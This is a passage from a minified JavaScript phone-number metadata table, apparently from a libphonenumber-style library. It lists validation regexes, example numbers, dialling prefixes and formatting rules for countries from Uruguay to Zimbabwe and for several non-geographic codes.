,,,"2015550123",,,,[7]],[,,"(?:3052(?:0[0-8]|[1-9]\\d)|5056(?:[0-35-9]\\d|4[468])|7302[0-4]\\d)\\d{4}|(?:305[3-9]|472[24]|505[2-57-9]|7306|983[2-47-9])\\d{6}|(?:2(?:0[1-35-9]|1[02-9]|2[03-57-9]|3[1459]|4[08]|5[1-46]|6[0279]|7[0269]|8[13])|3(?:0[1-47-9]|1[02-9]|2[013569]|3[0-24679]|4[167]|5[0-2]|6[01349]|8[056])|4(?:0[124-9]|1[02-579]|2[3-5]|3[0245]|4[023578]|58|6[349]|7[0589]|8[04])|5(?:0[1-47-9]|1[0235-8]|20|3[0149]|4[01]|5[179]|6[1-47]|7[0-5]|8[0256])|6(?:0[1-35-9]|1[024-9]|2[03689]|3[016]|4[0156]|5[01679]|6[0-279]|78|8[0-29])|7(?:0[1-46-8]|1[2-9]|2[04-8]|3[1247]|4[037]|5[47]|6[02359]|7[0-59]|8[156])|8(?:0[1-68]|1[02-8]|2[068]|3[0-2589]|4[03578]|5[046-9]|6[02-5]|7[028])|9(?:0[1346-9]|1[02-9]|2[0589]|3[0146-8]|4[01357-9]|5[12469]|7[0-389]|8[04-69]))[2-9]\\d{6}",
,,,"2015550123",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002345678"],[,,"900[2-9]\\d{6}",,,,"9002345678"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,"305209\\d{4}",,,,"3052090123",,,,[7]],"US",1,"011","1",,,"1",,,1,[[,"(\\d{3})(\\d{4})","$1-$2",["310"],,,1],
[,"(\\d{3})(\\d{4})","$1-$2",["[24-9]|3(?:[02-9]|1[1-9])"]],[,"(\\d{3})(\\d{3})(\\d{4})","($1) $2-$3",["[2-9]"],,,1]],[[,"(\\d{3})(\\d{4})","$1-$2",["310"],,,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[2-9]"]]],[,,,,,,,,,[-1]],1,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],UY:[,[,,"0004\\d{2,9}|[1249]\\d{7}|(?:[49]\\d|80)\\d{5}",,,,,,,[6,7,8,9,10,11,12,13]],[,,"(?:1(?:770|9(?:20|[89]7))|(?:2\\d|4[2-7])\\d\\d)\\d{4}",,,,"21231234",,,[8],[7]],[,,"9[1-9]\\d{6}",,,,"94231234",,,[8]],[,,"0004\\d{2,9}|(?:405|80[05])\\d{4}",
,,,"8001234"],[,,"90[0-8]\\d{4}",,,,"9001234",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"UY",598,"0(?:0|1[3-9]\\d)","0"," int. ",,"0",,"00",,[[,"(\\d{3})(\\d{3,4})","$1 $2",["0"]],[,"(\\d{3})(\\d{4})","$1 $2",["[49]0|8"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["9"],"0$1"],[,"(\\d{4})(\\d{4})","$1 $2",["[124]"]],[,"(\\d{3})(\\d{3})(\\d{2,4})","$1 $2 $3",["0"]],[,"(\\d{3})(\\d{3})(\\d{3})(\\d{2,4})","$1 $2 $3 $4",["0"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,
,,,,,,[-1]]],UZ:[,[,,"(?:20|33|[5-79]\\d|88)\\d{7}",,,,,,,[9]],[,,"(?:55\\d\\d|6(?:1(?:22|3[124]|4[1-4]|5[1-3578]|64)|2(?:22|3[0-57-9]|41)|5(?:22|3[3-7]|5[024-8])|6\\d\\d|7(?:[23]\\d|7[69])|9(?:22|4[1-8]|6[135]))|7(?:0(?:5[4-9]|6[0146]|7[124-6]|9[135-8])|(?:1[12]|[68]\\d)\\d|2(?:22|3[13-57-9]|4[1-3579]|5[14])|3(?:2\\d|3[1578]|4[1-35-7]|5[1-57]|61)|4(?:2\\d|3[1-579]|7[1-79])|5(?:22|5[1-9]|6[1457])|9(?:22|5[1-9])))\\d{5}",,,,"669050123"],[,,"(?:(?:[25]0|33|88|9[0-57-9])\\d{3}|6(?:1(?:2(?:2[01]|98)|35[0-4]|50\\d|61[23]|7(?:[01][017]|4\\d|55|9[5-9]))|2(?:(?:11|7\\d)\\d|2(?:[12]1|9[01379])|5(?:[126]\\d|3[0-4]))|5(?:19[01]|2(?:27|9[26])|(?:30|59|7\\d)\\d)|6(?:2(?:1[5-9]|2[0367]|38|41|52|60)|(?:3[79]|9[0-3])\\d|4(?:56|83)|7(?:[07]\\d|1[017]|3[07]|4[047]|5[057]|67|8[0178]|9[79]))|7(?:2(?:24|3[237]|4[5-9]|7[15-8])|5(?:7[12]|8[0589])|7(?:0\\d|[39][07])|9(?:0\\d|7[079]))|9(?:2(?:1[1267]|3[01]|5\\d|7[0-4])|(?:5[67]|7\\d)\\d|6(?:2[0-26]|8\\d)))|7(?:[07]\\d{3}|1(?:13[01]|6(?:0[47]|1[67]|66)|71[3-69]|98\\d)|2(?:2(?:2[79]|95)|3(?:2[5-9]|6[0-6])|57\\d|7(?:0\\d|1[17]|2[27]|3[37]|44|5[057]|66|88))|3(?:2(?:1[0-6]|21|3[469]|7[159])|(?:33|9[4-6])\\d|5(?:0[0-4]|5[579]|9\\d)|7(?:[0-3579]\\d|4[0467]|6[67]|8[078]))|4(?:2(?:29|5[0257]|6[0-7]|7[1-57])|5(?:1[0-4]|8\\d|9[5-9])|7(?:0\\d|1[024589]|2[0-27]|3[0137]|[46][07]|5[01]|7[5-9]|9[079])|9(?:7[015-9]|[89]\\d))|5(?:112|2(?:0\\d|2[29]|[49]4)|3[1568]\\d|52[6-9]|7(?:0[01578]|1[017]|[23]7|4[047]|[5-7]\\d|8[78]|9[079]))|9(?:22[128]|3(?:2[0-4]|7\\d)|57[02569]|7(?:2[05-9]|3[37]|4\\d|60|7[2579]|87|9[07]))))\\d{4}",
,,,"912345678"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"UZ",998,"00",,,,,,,,[[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[235-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],VA:[,[,,"0\\d{5,10}|3[0-8]\\d{7,10}|55\\d{8}|8\\d{5}(?:\\d{2,4})?|(?:1\\d|39)\\d{7,8}",,,,,,,[6,7,8,9,10,11,12]],[,,"06698\\d{1,6}",,,,"0669812345",,,[6,7,8,9,10,11]],[,,"3[1-9]\\d{8}|3[2-9]\\d{7}",,,,"3123456789",,,[9,10]],[,,"80(?:0\\d{3}|3)\\d{3}",
,,,"800123456",,,[6,9]],[,,"(?:0878\\d{3}|89(?:2\\d|3[04]|4(?:[0-4]|[5-9]\\d\\d)|5[0-4]))\\d\\d|(?:1(?:44|6[346])|89(?:38|5[5-9]|9))\\d{6}",,,,"899123456",,,[6,8,9,10]],[,,"84(?:[08]\\d{3}|[17])\\d{3}",,,,"848123456",,,[6,9]],[,,"1(?:78\\d|99)\\d{6}",,,,"1781234567",,,[9,10]],[,,"55\\d{8}",,,,"5512345678",,,[10]],"VA",39,"00",,,,,,,,,,[,,,,,,,,,[-1]],,"06698",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,"3[2-8]\\d{9,10}",,,,"33101234501",,,[11,12]]],VC:[,[,,"(?:[58]\\d\\d|784|900)\\d{7}",,,,,,,[10],[7]],
[,,"784(?:266|3(?:6[6-9]|7\\d|8[0-6])|4(?:38|5[0-36-8]|8[0-8])|5(?:55|7[0-2]|93)|638|784)\\d{4}",,,,"7842661234",,,,[7]],[,,"784(?:4(?:3[0-5]|5[45]|89|9[0-8])|5(?:2[6-9]|3[0-4])|720)\\d{4}",,,,"7844301234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002345678"],[,,"900[2-9]\\d{6}",,,,"9002345678"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,"78451[0-2]\\d{4}",,,,"7845101234",,,,[7]],"VC",1,"011","1",,,"([2-7]\\d{6})$|1","784$1",,,,,[,,,,,,,,,[-1]],,"784",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],VE:[,[,,"[68]00\\d{7}|(?:[24]\\d|[59]0)\\d{8}",,,,,,,[10],[7]],[,,"(?:2(?:12|3[457-9]|[467]\\d|[58][1-9]|9[1-6])|[4-6]00)\\d{7}",,,,"2121234567",,,,[7]],[,,"4(?:1[24-8]|2[46])\\d{7}",,,,"4121234567"],[,,"800\\d{7}",,,,"8001234567"],[,,"90[01]\\d{7}",,,,"9001234567"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],
"VE",58,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{7})","$1-$2",["[24-689]"],"0$1","$CC $1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"501\\d{7}",,,,"5010123456",,,,[7]],,,[,,,,,,,,,[-1]]],VG:[,[,,"(?:284|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"284(?:229|4(?:22|9[45])|774|8(?:52|6[459]))\\d{4}",,,,"2842291234",,,,[7]],[,,"284(?:245|3(?:0[0-3]|4[0-7]|68|9[34])|4(?:4[0-6]|68|9[69])|5(?:4[0-7]|68|9[69]))\\d{4}",,,,"2843001234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002345678"],[,,"900[2-9]\\d{6}",
,,,"9002345678"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"VG",1,"011","1",,,"([2-578]\\d{6})$|1","284$1",,,,,[,,,,,,,,,[-1]],,"284",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],VI:[,[,,"[58]\\d{9}|(?:34|90)0\\d{7}",,,,,,,[10],[7]],[,,"340(?:2(?:0\\d|10|2[06-8]|4[49]|77)|3(?:32|44)|4(?:2[23]|44|7[34]|89)|5(?:1[34]|55)|6(?:2[56]|4[23]|77|9[023])|7(?:1[2-57-9]|2[57]|7\\d)|884|998)\\d{4}",
,,,"3406421234",,,,[7]],[,,"340(?:2(?:0\\d|10|2[06-8]|4[49]|77)|3(?:32|44)|4(?:2[23]|44|7[34]|89)|5(?:1[34]|55)|6(?:2[56]|4[23]|77|9[023])|7(?:1[2-57-9]|2[57]|7\\d)|884|998)\\d{4}",,,,"3406421234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002345678"],[,,"900[2-9]\\d{6}",,,,"9002345678"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"VI",1,"011","1",,,"([2-9]\\d{6})$|1","340$1",,1,,,[,,,,,,,,,[-1]],,"340",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],VN:[,[,,"[12]\\d{9}|[135-9]\\d{8}|[16]\\d{7}|[16-8]\\d{6}",,,,,,,[7,8,9,10]],[,,"2(?:0[3-9]|1[0-689]|2[0-25-9]|[38][2-9]|4[2-8]|5[124-9]|6[0-39]|7[0-7]|9[0-4679])\\d{7}",,,,"2101234567",,,[10]],[,,"(?:5(?:2[238]|59)|89[6-9]|99[013-9])\\d{6}|(?:3\\d|5[1689]|7[06-9]|8[1-8]|9[0-8])\\d{7}",,,,"912345678",,,[9]],[,,"1800\\d{4,6}|12(?:0[13]|28)\\d{4}",
,,,"1800123456",,,[8,9,10]],[,,"1900\\d{4,6}",,,,"1900123456",,,[8,9,10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"672\\d{6}",,,,"672012345",,,[9]],"VN",84,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[17]99"],"0$1",,1],[,"(\\d{2})(\\d{5})","$1 $2",["80"],"0$1",,1],[,"(\\d{3})(\\d{4,5})","$1 $2",["69"],"0$1",,1],[,"(\\d{4})(\\d{4,6})","$1 $2",["1"],,,1],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["6"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[357-9]"],"0$1",,1],[,"(\\d{2})(\\d{4})(\\d{4})",
"$1 $2 $3",["2[48]"],"0$1",,1],[,"(\\d{3})(\\d{4})(\\d{3})","$1 $2 $3",["2"],"0$1",,1]],[[,"(\\d{2})(\\d{5})","$1 $2",["80"],"0$1",,1],[,"(\\d{4})(\\d{4,6})","$1 $2",["1"],,,1],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["6"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[357-9]"],"0$1",,1],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["2[48]"],"0$1",,1],[,"(\\d{3})(\\d{4})(\\d{3})","$1 $2 $3",["2"],"0$1",,1]],[,,,,,,,,,[-1]],,,[,,"[17]99\\d{4}|69\\d{5,6}",,,,,,,[7,8]],[,,"(?:[17]99|80\\d)\\d{4}|69\\d{5,6}",
,,,"1992000",,,[7,8]],,,[,,,,,,,,,[-1]]],VU:[,[,,"[57-9]\\d{6}|(?:[238]\\d|48)\\d{3}",,,,,,,[5,7]],[,,"(?:38[0-8]|48[4-9])\\d\\d|(?:2[02-9]|3[4-7]|88)\\d{3}",,,,"22123",,,[5]],[,,"(?:[58]\\d|7[013-7])\\d{5}",,,,"5912345",,,[7]],[,,"81[18]\\d\\d",,,,"81123",,,[5]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:0[1-9]|1[01])\\d{4}",,,,"9010123",,,[7]],"VU",678,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[57-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"(?:3[03]|900\\d)\\d{3}",,,,"30123"],,
,[,,,,,,,,,[-1]]],WF:[,[,,"(?:40|72)\\d{4}|8\\d{5}(?:\\d{3})?",,,,,,,[6,9]],[,,"72\\d{4}",,,,"721234",,,[6]],[,,"(?:72|8[23])\\d{4}",,,,"821234",,,[6]],[,,"80[0-5]\\d{6}",,,,"800012345",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"WF",681,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["[478]"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,"[48]0\\d{4}",,,,"401234",,,[6]]],WS:[,[,,"(?:[2-6]|8\\d{5})\\d{4}|[78]\\d{6}|[68]\\d{5}",
,,,,,,[5,6,7,10]],[,,"6[1-9]\\d{3}|(?:[2-5]|60)\\d{4}",,,,"22123",,,[5,6]],[,,"(?:7[1-35-7]|8(?:[3-7]|9\\d{3}))\\d{5}",,,,"7212345",,,[7,10]],[,,"800\\d{3}",,,,"800123",,,[6]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"WS",685,"0",,,,,,,,[[,"(\\d{5})","$1",["[2-5]|6[1-9]"]],[,"(\\d{3})(\\d{3,7})","$1 $2",["[68]"]],[,"(\\d{2})(\\d{5})","$1 $2",["7"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],XK:[,[,,"2\\d{7,8}|3\\d{7,11}|(?:4\\d\\d|[89]00)\\d{5}",
,,,,,,[8,9,10,11,12]],[,,"38\\d{6,10}|(?:2[89]|39)(?:0\\d{5,6}|[1-9]\\d{5})",,,,"28012345"],[,,"4[3-9]\\d{6}",,,,"43201234",,,[8]],[,,"800\\d{5}",,,,"80001234",,,[8]],[,,"900\\d{5}",,,,"90001234",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"XK",383,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{5})","$1 $2",["[89]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[2-4]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["2|39"],"0$1"],[,"(\\d{2})(\\d{7,10})","$1 $2",["3"],"0$1"]],,[,,,,,,,,,[-1]],,
,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],YE:[,[,,"(?:1|7\\d)\\d{7}|[1-7]\\d{6}",,,,,,,[7,8,9],[6]],[,,"78[0-7]\\d{4}|17\\d{6}|(?:[12][2-68]|3[2358]|4[2-58]|5[2-6]|6[3-58]|7[24-6])\\d{5}",,,,"1234567",,,[7,8],[6]],[,,"7[01378]\\d{7}",,,,"712345678",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"YE",967,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["[1-6]|7(?:[24-6]|8[0-7])"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["7"],"0$1"]],
,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],YT:[,[,,"(?:80|9\\d)\\d{7}|(?:26|63)9\\d{6}",,,,,,,[9]],[,,"269(?:0[0-467]|15|5[0-4]|6\\d|[78]0)\\d{4}",,,,"269601234"],[,,"639(?:0[0-79]|1[019]|[267]\\d|3[09]|40|5[05-9]|9[04-79])\\d{4}",,,,"639012345"],[,,"80\\d{7}",,,,"801234567"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:(?:39|47)8[01]|769\\d)\\d{4}",,,,"939801234"],"YT",262,"00","0",,,"0",,,,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],
ZA:[,[,,"[1-79]\\d{8}|8\\d{4,9}",,,,,,,[5,6,7,8,9,10]],[,,"(?:2(?:0330|4302)|52087)0\\d{3}|(?:1[0-8]|2[1-378]|3[1-69]|4\\d|5[1346-8])\\d{7}",,,,"101234567",,,[9]],[,,"(?:1(?:3492[0-25]|4495[0235]|549(?:20|5[01]))|4[34]492[01])\\d{3}|8[1-4]\\d{3,7}|(?:2[27]|47|54)4950\\d{3}|(?:1(?:049[2-4]|9[12]\\d\\d)|(?:6\\d\\d|7(?:[0-46-9]\\d|5[0-4]))\\d\\d|8(?:5\\d{3}|7(?:08[67]|158|28[5-9]|310)))\\d{4}|(?:1[6-8]|28|3[2-69]|4[025689]|5[36-8])4920\\d{3}|(?:12|[2-5]1)492\\d{4}",,,,"711234567",,,[5,6,7,8,9]],[,,"80\\d{7}",
,,,"801234567",,,[9]],[,,"(?:86[2-9]|9[0-2]\\d)\\d{6}",,,,"862345678",,,[9]],[,,"860\\d{6}",,,,"860123456",,,[9]],[,,,,,,,,,[-1]],[,,"87(?:08[0-589]|15[0-79]|28[0-4]|31[1-9])\\d{4}|87(?:[02][0-79]|1[0-46-9]|3[02-9]|[4-9]\\d)\\d{5}",,,,"871234567",,,[9]],"ZA",27,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3,4})","$1 $2",["8[1-4]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2,3})","$1 $2 $3",["8[1-4]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["860"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[1-9]"],"0$1"],
[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"861\\d{6,7}",,,,"861123456",,,[9,10]],,,[,,,,,,,,,[-1]]],ZM:[,[,,"800\\d{6}|(?:21|63|[79]\\d)\\d{7}",,,,,,,[9],[6]],[,,"21[1-8]\\d{6}",,,,"211234567",,,,[6]],[,,"(?:7[5-79]|9[5-8])\\d{7}",,,,"955123456"],[,,"800\\d{6}",,,,"800123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"63\\d{7}",,,,"630123456"],"ZM",260,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3})","$1 $2",["[1-9]"]],[,"(\\d{3})(\\d{3})(\\d{3})",
"$1 $2 $3",["[28]"],"0$1"],[,"(\\d{2})(\\d{7})","$1 $2",["[79]"],"0$1"]],[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[28]"],"0$1"],[,"(\\d{2})(\\d{7})","$1 $2",["[79]"],"0$1"]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],ZW:[,[,,"2(?:[0-57-9]\\d{6,8}|6[0-24-9]\\d{6,7})|[38]\\d{9}|[35-8]\\d{8}|[3-6]\\d{7}|[1-689]\\d{6}|[1-3569]\\d{5}|[1356]\\d{4}",,,,,,,[5,6,7,8,9,10],[3,4]],[,,"(?:1(?:(?:3\\d|9)\\d|[4-8])|2(?:(?:(?:0(?:2[014]|5)|(?:2[0157]|31|84|9)\\d\\d|[56](?:[14]\\d\\d|20)|7(?:[089]|2[03]|[35]\\d\\d))\\d|4(?:2\\d\\d|8))\\d|1(?:2|[39]\\d{4}))|3(?:(?:123|(?:29\\d|92)\\d)\\d\\d|7(?:[19]|[56]\\d))|5(?:0|1[2-478]|26|[37]2|4(?:2\\d{3}|83)|5(?:25\\d\\d|[78])|[689]\\d)|6(?:(?:[16-8]21|28|52[013])\\d\\d|[39])|8(?:[1349]28|523)\\d\\d)\\d{3}|(?:4\\d\\d|9[2-9])\\d{4,5}|(?:(?:2(?:(?:(?:0|8[146])\\d|7[1-7])\\d|2(?:[278]\\d|92)|58(?:2\\d|3))|3(?:[26]|9\\d{3})|5(?:4\\d|5)\\d\\d)\\d|6(?:(?:(?:[0-246]|[78]\\d)\\d|37)\\d|5[2-8]))\\d\\d|(?:2(?:[569]\\d|8[2-57-9])|3(?:[013-59]\\d|8[37])|6[89]8)\\d{3}",
,,,"1312345",,,,[3,4]],[,,"7(?:[1278]\\d|3[1-9])\\d{6}",,,,"712345678",,,[9]],[,,"80(?:[01]\\d|20|8[0-8])\\d{3}",,,,"8001234",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"86(?:1[12]|22|30|44|55|77|8[368])\\d{6}",,,,"8686123456",,,[10]],"ZW",263,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3,5})","$1 $2",["2(?:0[45]|2[278]|[49]8)|3(?:[09]8|17)|6(?:[29]8|37|75)|[23][78]|(?:33|5[15]|6[68])[78]"],"0$1"],[,"(\\d)(\\d{3})(\\d{2,4})","$1 $2 $3",["[49]"],"0$1"],[,"(\\d{3})(\\d{4})","$1 $2",["80"],"0$1"],
[,"(\\d{2})(\\d{7})","$1 $2",["24|8[13-59]|(?:2[05-79]|39|5[45]|6[15-8])2","2(?:02[014]|4|[56]20|[79]2)|392|5(?:42|525)|6(?:[16-8]21|52[013])|8[13-59]"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["2(?:1[39]|2[0157]|[378]|[56][14])|3(?:12|29)","2(?:1[39]|2[0157]|[378]|[56][14])|3(?:123|29)"],"0$1"],[,"(\\d{4})(\\d{6})","$1 $2",["8"],"0$1"],[,"(\\d{2})(\\d{3,5})","$1 $2",["1|2(?:0[0-36-9]|12|29|[56])|3(?:1[0-689]|[24-6])|5(?:[0236-9]|1[2-4])|6(?:[013-59]|7[0-46-9])|(?:33|55|6[68])[0-69]|(?:29|3[09]|62)[0-79]"],
"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["29[013-9]|39|54"],"0$1"],[,"(\\d{4})(\\d{3,5})","$1 $2",["(?:25|54)8","258|5483"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],800:[,[,,"(?:00|[1-9]\\d)\\d{6}",,,,,,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:00|[1-9]\\d)\\d{6}",,,,"12345678"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"001",800,,,,,,,,1,[[,"(\\d{4})(\\d{4})","$1 $2",["\\d"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],
,,[,,,,,,,,,[-1]]],808:[,[,,"[1-9]\\d{7}",,,,,,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"[1-9]\\d{7}",,,,"12345678"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"001",808,,,,,,,,1,[[,"(\\d{4})(\\d{4})","$1 $2",["[1-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],870:[,[,,"7\\d{11}|[35-7]\\d{8}",,,,,,,[9,12]],[,,,,,,,,,[-1]],[,,"(?:[356]|774[45])\\d{8}|7[6-8]\\d{7}",,,,"301234567"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,
,,,,,,[-1]],"001",870,,,,,,,,,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[35-7]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],878:[,[,,"10\\d{10}",,,,,,,[12]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"10\\d{10}",,,,"101234567890"],"001",878,,,,,,,,1,[[,"(\\d{2})(\\d{5})(\\d{5})","$1 $2 $3",["1"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],881:[,[,,"6\\d{9}|[0-36-9]\\d{8}",,,,,,,[9,10]],
[,,,,,,,,,[-1]],[,,"6\\d{9}|[0-36-9]\\d{8}",,,,"612345678"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"001",881,,,,,,,,,[[,"(\\d)(\\d{3})(\\d{5})","$1 $2 $3",["[0-37-9]"]],[,"(\\d)(\\d{3})(\\d{5,6})","$1 $2 $3",["6"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],882:[,[,,"[13]\\d{6}(?:\\d{2,5})?|[19]\\d{7}|(?:[25]\\d\\d|4)\\d{7}(?:\\d{2})?",,,,,,,[7,8,9,10,11,12]],[,,,,,,,,,[-1]],[,,"342\\d{4}|(?:337|49)\\d{6}|(?:3(?:2|47|7\\d{3})|50\\d{3})\\d{7}",
